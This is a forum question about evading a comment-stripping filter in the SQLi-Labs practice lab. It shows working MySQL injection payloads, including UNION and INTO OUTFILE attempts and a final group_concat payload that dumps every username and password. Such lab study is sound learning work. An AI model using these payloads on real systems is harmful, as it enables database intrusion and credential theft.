The following SQLi (MySQL) filter is from SQLi-Labs:

 $reg = "/#/"
 $reg1 ="/--/"
 $replace =""
 $sql = "SELECT * FROM users where id='$id' LIMIT 0,1";

I know the filter can be evaded by something like 'or '1'='1. However, I would like to see if it is possible to perform an outfile dump of the whole database, so I've tried things like:

 ' union select null,username,password from users into outfile "/tmp/file"...

however due to the ' LIMIT 0,1 at the end I'm having trouble figuring out how to end the payload. I've thought about doing multiple union queries, say:

 ' union all select null,username,password from users into outfile "/tmp/file" union all select null,username,password from users group by '

However, I get an error, because I believe the into outfile part has to be the last query. I also thought about using FIELDS TERMINATED BY ' but now the LIMIT 0,1 is in my way.

Is there anyway around this to perform a outfile dump of the database? Is it possible to dump the database through the error instead?


I figured out that the following injection dumped the database(not through outfile though):

' union select null,group_concat(username),group_concat(password) from users group by '

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.